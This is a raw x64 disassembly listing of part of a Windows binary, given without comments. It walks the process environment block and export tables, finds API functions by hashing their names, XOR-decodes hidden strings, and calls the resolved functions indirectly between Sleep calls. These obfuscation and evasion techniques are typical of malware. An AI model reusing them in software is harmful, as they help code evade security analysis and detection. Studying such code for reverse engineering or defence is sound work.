xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140070930
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x58]
call fcn.140073c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14014cf8c]
mov dword [rsp + 0x40], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140070a15
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140070a15
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x85c291a2
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140070a10
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400709f0
cmp edx, 0x42f9250b
je 0x140070a1a
test r9d, r9d
jne 0x1400709d0
mov rax, qword [rax]
jmp 0x1400709a0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, dword [rcx + rdx*4]
add r9, r10
cmp edi, 2
jl 0x140070a93
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
movd xmm0, dword [rsp + 0x40]
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm12
xorps xmm7, xmm0
movd dword [rsp + 0x40], xmm7
jmp 0x140070ac7
lea r8, [rsp + 0x40]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
mul esi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x31
movzx eax, sil
inc esi
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 4
jl 0x140070aa0
lea rcx, [rsp + 0x40]
call r9
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140070bda
movzx eax, word [0x14014ced8]
movsd xmm0, qword [str.DTCD__atnp]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140070b85
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140070b85
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xcf0804ca
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140070b80
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140070b60
cmp edx, 0x6a05feb3
je 0x140070b8a
test r9d, r9d
jne 0x140070b40
mov rax, qword [rax]
jmp 0x140070b10
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x48]
xor byte [rsp + 0x49], 0x35
add rax, r10
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor byte [rsp + 0x50], 0x3c
xor byte [rsp + 0x51], 0x3d
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSASetLastError
call rax
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140120bb0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x58]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14006ddd0
int3
call fcn.14006dd00
int3